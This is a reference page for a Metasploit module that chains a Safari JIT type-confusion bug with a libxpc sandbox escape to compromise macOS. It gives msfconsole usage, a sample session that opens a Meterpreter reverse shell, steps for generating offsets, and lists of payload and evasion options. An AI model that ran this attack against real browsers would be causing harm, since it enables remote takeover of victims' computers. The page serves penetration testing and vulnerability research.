Safari Proxy Object Type Confusion - Metasploit
This page contains detailed information about how to use the exploit/osx/browser/safari_proxy_object_type_confusion metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Safari Proxy Object Type Confusion
Module: exploit/osx/browser/safari_proxy_object_type_confusion
Source code: modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb
Disclosure date: 2018-03-15
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): python, cmd
Supported platform(s): OSX
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2018-4233, CVE-2018-4404
This module exploits a type confusion bug in the Javascript Proxy object in WebKit. The DFG JIT does not take into account that, through the use of a Proxy, it is possible to run arbitrary JS code during the execution of a CreateThis operation. This makes it possible to change the structure of e.g. an argument without causing a bailout, leading to a type confusion (CVE-2018-4233). The JIT region is then replaced with shellcode which loads the second stage. The second stage exploits a logic error in libxpc, which uses command execution via the launchd's "spawn_via_launchd" API (CVE-2018-4404).
Module Ranking and Traits
Module Ranking:
- manual: The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/windows/smb/psexec). More information about ranking can be found here.
Basic Usage
msf > use exploit/osx/browser/safari_proxy_object_type_confusion
msf exploit(safari_proxy_object_type_confusion) > exploit
Knowledge Base
Vulnerable Application
This module exploits a type confusion bug in the Javascript Proxy object in WebKit. Safari on OSX 10.13.3 and lower are affected. The JS Proxy object was introduced in Safari 10, so OSX 10.11 is not affected by the type confusion, however the sandbox escape may still work.
The DFG JIT does not take into account that, through the use of a Proxy, it is possible to run arbitrary JS code during the execution of a CreateThis operation. This makes it possible to change the structure of e.g. an argument without causing a bailout, leading to a type confusion (CVE-2018-4233).
The JIT region is then replaced with shellcode which loads the second stage. The second stage exploits a logic error in libxpc, which uses command execution via the launchd's "spawn_via_launchd" API (CVE-2018-4404).
Verification Steps
- Start
msfconsole
use exploit/osx/browser/safari_proxy_object_type_confusion
set LHOST <tab>
exploit
- Visit the URL on a vulnerable version of Safari
Scenarios
High Sierra 10.13
msf5 > use exploit/osx/browser/safari_proxy_object_type_confusion
msf5 exploit(osx/browser/safari_proxy_object_type_confusion) > set LHOST 192.168.0.2
LHOST => 192.168.0.2
msf5 exploit(osx/browser/safari_proxy_object_type_confusion) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf5 exploit(osx/browser/safari_proxy_object_type_confusion) >
[*] Started reverse TCP handler on 192.168.0.2:4444
[*] Using URL: http://0.0.0.0:8080/0PiuTy
[*] Local IP: http://192.168.0.2:8080/0PiuTy
[*] Server started.
msf5 exploit(osx/browser/safari_proxy_object_type_confusion) >
[*] 192.168.0.2 safari_proxy_object_type_confusion - Request from Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Safari/604.1.38
[*] Sending stage (53508 bytes) to 192.168.0.2
[*] Meterpreter session 1 opened (192.168.0.2:4444 -> 192.168.0.2:33200) at 2018-11-20 16:28:59 +0800
msf5 exploit(osx/browser/safari_proxy_object_type_confusion) > sessions 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : Users-iMac.local
OS : Darwin 17.0.0 Darwin Kernel Version 17.0.0: Thu Aug 24 21:48:19 PDT 2017; root:xnu-4570.1.46~2/RELEASE_X86_64
Architecture : x64
Meterpreter : python/osx
Adding offsets for new versions
Although all macOS versions from 10.12 -> 10.13.3 are vulnerable, some versions
are not supported. It's easy to add support for a vulnerable version by running
the script external/source/exploits/CVE-2018-4404/gen_offsets.rb
on the
target version.
You will need to install the latest radare2 for the script to function.
$ git clone https://github.com/radare/radare2 && cd radare2 && ./sys/install.sh && cd ..`
$ ruby external/source/exploits/CVE-2018-4404/gen_offsets.rb
'10.13' => {
:dyld_stub_loader => '0x000012a8',
:dlopen => '0x00002e60',
:confstr => '0x000024fc',
:strlen => '0x00001440',
:strlen_got => '0xee8',
},
The offset :jsc_vtab
cannot be generated but you can guess it is either 0xe000 or 0xd000.
You can then add the offsets to the module:
modules/exploits/osx/browser/safari_proxy_object_type_confusion.rb
Please don't forget to contribute the offsets back to the framework if you have successfully tested them.
Go back to menu.
Msfconsole Usage
Here is how the osx/browser/safari_proxy_object_type_confusion exploit module looks in the msfconsole:
msf6 > use exploit/osx/browser/safari_proxy_object_type_confusion
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(osx/browser/safari_proxy_object_type_confusion) > show info
Name: Safari Proxy Object Type Confusion
Module: exploit/osx/browser/safari_proxy_object_type_confusion
Platform: OSX
Arch: python, cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Manual
Disclosed: 2018-03-15
Provided by:
saelo
Available targets:
Id Name
-- ----
0 Python payload
1 Command payload
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Description:
This module exploits a type confusion bug in the Javascript Proxy
object in WebKit. The DFG JIT does not take into account that,
through the use of a Proxy, it is possible to run arbitrary JS code
during the execution of a CreateThis operation. This makes it
possible to change the structure of e.g. an argument without causing
a bailout, leading to a type confusion (CVE-2018-4233). The JIT
region is then replaced with shellcode which loads the second stage.
The second stage exploits a logic error in libxpc, which uses
command execution via the launchd's "spawn_via_launchd" API
(CVE-2018-4404).
References:
https://nvd.nist.gov/vuln/detail/CVE-2018-4233
https://nvd.nist.gov/vuln/detail/CVE-2018-4404
https://github.com/saelo/cve-2018-4233
https://github.com/saelo/pwn2own2018
https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf
Module Options
This is a complete list of options available in the osx/browser/safari_proxy_object_type_confusion exploit:
msf6 exploit(osx/browser/safari_proxy_object_type_confusion) > show options
Module options (exploit/osx/browser/safari_proxy_object_type_confusion):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Python payload
Advanced Options
Here is a complete list of advanced options supported by the osx/browser/safari_proxy_object_type_confusion exploit:
msf6 exploit(osx/browser/safari_proxy_object_type_confusion) > show advanced
Module advanced options (exploit/osx/browser/safari_proxy_object_type_confusion):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DEBUG_EXPLOIT false no Show debug information in the exploit javascript
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Payload advanced options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
HttpCookie no An optional value to use for the Cookie HTTP header
HttpHostHeader no An optional value to use for the Host HTTP header
HttpReferer no An optional value to use for the Referer HTTP header
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterTryToFork true no Fork a new process if the functionality is available
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PythonMeterpreterDebug false no Enable debugging for the Python meterpreter
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the osx/browser/safari_proxy_object_type_confusion module can exploit:
msf6 exploit(osx/browser/safari_proxy_object_type_confusion) > show targets
Exploit targets:
Id Name
-- ----
0 Python payload
1 Command payload
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the osx/browser/safari_proxy_object_type_confusion exploit:
msf6 exploit(osx/browser/safari_proxy_object_type_confusion) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/python/meterpreter/bind_tcp normal No Python Meterpreter, Python Bind TCP Stager
6 payload/python/meterpreter/bind_tcp_uuid normal No Python Meterpreter, Python Bind TCP Stager with UUID Support
7 payload/python/meterpreter/reverse_http normal No Python Meterpreter, Python Reverse HTTP Stager
8 payload/python/meterpreter/reverse_https normal No Python Meterpreter, Python Reverse HTTPS Stager
9 payload/python/meterpreter/reverse_tcp normal No Python Meterpreter, Python Reverse TCP Stager
10 payload/python/meterpreter/reverse_tcp_ssl normal No Python Meterpreter, Python Reverse TCP SSL Stager
11 payload/python/meterpreter/reverse_tcp_uuid normal No Python Meterpreter, Python Reverse TCP Stager with UUID Support
12 payload/python/meterpreter_bind_tcp normal No Python Meterpreter Shell, Bind TCP Inline
13 payload/python/meterpreter_reverse_http normal No Python Meterpreter Shell, Reverse HTTP Inline
14 payload/python/meterpreter_reverse_https normal No Python Meterpreter Shell, Reverse HTTPS Inline
15 payload/python/meterpreter_reverse_tcp normal No Python Meterpreter Shell, Reverse TCP Inline
16 payload/python/pingback_bind_tcp normal No Python Pingback, Bind TCP (via python)
17 payload/python/pingback_reverse_tcp normal No Python Pingback, Reverse TCP (via python)
18 payload/python/shell_bind_tcp normal No Command Shell, Bind TCP (via python)
19 payload/python/shell_reverse_tcp normal No Command Shell, Reverse TCP (via python)
20 payload/python/shell_reverse_tcp_ssl normal No Command Shell, Reverse TCP SSL (via python)
21 payload/python/shell_reverse_udp normal No Command Shell, Reverse UDP (via python)
Evasion Options
Here is the full list of possible evasion options supported by the osx/browser/safari_proxy_object_type_confusion exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(osx/browser/safari_proxy_object_type_confusion) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Safari version is not vulnerable
Here is a relevant code snippet related to the "Safari version is not vulnerable" error message:
111: def get_offsets(user_agent)
112: if user_agent =~ /Intel Mac OS X (.*?)\)/
113: osx_version = $1.gsub("_", ".")
114: if user_agent =~ /Version\/(.*?) /
115: if Rex::Version.new($1) >= Rex::Version.new('11.1.1')
116: print_warning "Safari version #{$1} is not vulnerable"
117: return false
118: else
119: print_good "Safari version #{$1} appears to be vulnerable"
120: end
121: end
macOS version <MAC_OSX_VERSION> is not vulnerable
Here is a relevant code snippet related to the "macOS version <MAC_OSX_VERSION> is not vulnerable" error message:
119: print_good "Safari version #{$1} appears to be vulnerable"
120: end
121: end
122: mac_osx_version = Rex::Version.new(osx_version)
123: if mac_osx_version >= Rex::Version.new('10.13.4')
124: print_warning "macOS version #{mac_osx_version} is not vulnerable"
125: elsif mac_osx_version < Rex::Version.new('10.12')
126: print_warning "macOS version #{mac_osx_version} is not vulnerable"
127: elsif offset_table.key?(osx_version)
128: offset = offset_table[osx_version]
129: return <<-EOF
macOS version <MAC_OSX_VERSION> is not vulnerable
Here is a relevant code snippet related to the "macOS version <MAC_OSX_VERSION> is not vulnerable" error message:
121: end
122: mac_osx_version = Rex::Version.new(osx_version)
123: if mac_osx_version >= Rex::Version.new('10.13.4')
124: print_warning "macOS version #{mac_osx_version} is not vulnerable"
125: elsif mac_osx_version < Rex::Version.new('10.12')
126: print_warning "macOS version #{mac_osx_version} is not vulnerable"
127: elsif offset_table.key?(osx_version)
128: offset = offset_table[osx_version]
129: return <<-EOF
130: const JSC_VTAB_OFFSET = #{offset[:jsc_vtab]};
131: const DYLD_STUB_LOADER_OFFSET = #{offset[:dyld_stub_loader]};
No offsets for version <MAC_OSX_VERSION>
Here is a relevant code snippet related to the "No offsets for version <MAC_OSX_VERSION>" error message:
133: const CONFSTR_OFFSET = #{offset[:confstr]};
134: const STRLEN_OFFSET = #{offset[:strlen]};
135: const STRLEN_GOT_OFFSET = #{offset[:strlen_got]};
136: EOF
137: else
138: print_warning "No offsets for version #{mac_osx_version}"
139: end
140: else
141: print_warning "Unexpected User-Agent"
142: end
143: return false
Unexpected User-Agent
Here is a relevant code snippet related to the "Unexpected User-Agent" error message:
136: EOF
137: else
138: print_warning "No offsets for version #{mac_osx_version}"
139: end
140: else
141: print_warning "Unexpected User-Agent"
142: end
143: return false
144: end
145:
146: def on_request_uri(cli, request)
[-] Shellcode failed to execute: error
Here is a relevant code snippet related to the "[-] Shellcode failed to execute: error" error message:
494: print("[!] Jumping into shellcode...");
495: var res = func();
496: if (res === 0) {
497: print("[+] Shellcode executed sucessfully!");
498: } else {
499: print("[-] Shellcode failed to execute: error " + res);
500: }
501:
502: memory.write(codeAddr, origCode);
503: print("[*] Restored previous JIT code");
504:
Go back to menu.
Related Pull Requests
- #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
- #14708 Merged Pull Request: add 10.13.1 and 10.13.2 offsets for the safari_proxy_object_type_confusion module
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #13996 Merged Pull Request: Add module for CVE-2020-9801, CVE-2020-9850 and CVE-2020-9856, RCE for Safari on macOS 10.15.3 (pwn2own2020)
- #11347 Merged Pull Request: add version check to Safari RCE exploit
- #10944 Merged Pull Request: Add macOS Safari exploit from pwn2own2018
References
- CVE-2018-4233
- CVE-2018-4404
- https://github.com/saelo/cve-2018-4233
- https://github.com/saelo/pwn2own2018
- https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf
See Also
Check also the following modules related to this module:
- exploit/apple_ios/browser/webkit_createthis
- exploit/osx/browser/safari_file_policy
- exploit/osx/browser/safari_in_operator_side_effect
- exploit/osx/browser/safari_metadata_archive
- exploit/osx/browser/safari_user_assisted_applescript_exec
- exploit/osx/browser/safari_user_assisted_download_launch
- exploit/osx/browser/adobe_flash_delete_range_tl_op
- exploit/osx/browser/mozilla_mchannel
- exploit/osx/browser/osx_gatekeeper_bypass
- exploit/osx/browser/software_update
- auxiliary/gather/safari_file_url_navigation
- exploit/apple_ios/browser/safari_jit
- exploit/apple_ios/browser/safari_libtiff
- exploit/windows/browser/safari_xslt_output
- post/osx/gather/safari_lastsession
- exploit/multi/browser/adobe_flash_net_connection_confusion
- exploit/unix/fileformat/ghostscript_type_confusion
- exploit/windows/browser/adobe_flash_filters_type_confusion
- auxiliary/gather/apple_safari_ftp_url_cookie_theft
- auxiliary/gather/apple_safari_webarchive_uxss
- post/windows/gather/credentials/safari
- exploit/linux/proxy/squid_ntlm_authenticate
- exploit/windows/proxy/bluecoat_winproxy_host
- exploit/windows/proxy/ccproxy_telnet_ping
- exploit/windows/proxy/proxypro_http_get
- exploit/windows/proxy/qbik_wingate_wwwproxy
- exploit/osx/arkeia/type77
- exploit/osx/rtsp/quicktime_rtsp_content_type
Related Nessus plugins:
- macOS 10.13.x < 10.13.5 Multiple Vulnerabilities
- Apple TV < 11.4 Multiple Vulnerabilities
- Apple iTunes < 12.7.5 Multiple Vulnerabilities (uncredentialed check)
- Apple iTunes < 12.7.5 Multiple Vulnerabilities (credentialed check)
- Apple iOS < 11.4 Multiple Vulnerabilities (EFAIL)
- Ubuntu 16.04 LTS / 17.10 / 18.04 LTS : WebKitGTK+ vulnerabilities (USN-3687-1)
- Fedora 27 : webkitgtk4 (2018-aac3ca8936)
- openSUSE Security Update : webkit2gtk3 (openSUSE-2018-845)
- GLSA-201808-04 : WebkitGTK+: Multiple vulnerabilities
- SUSE SLED12 / SLES12 Security Update : webkit2gtk3 (SUSE-SU-2018:3387-1)
Authors
- saelo
Version
This page has been produced using Metasploit Framework version 6.1.28-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.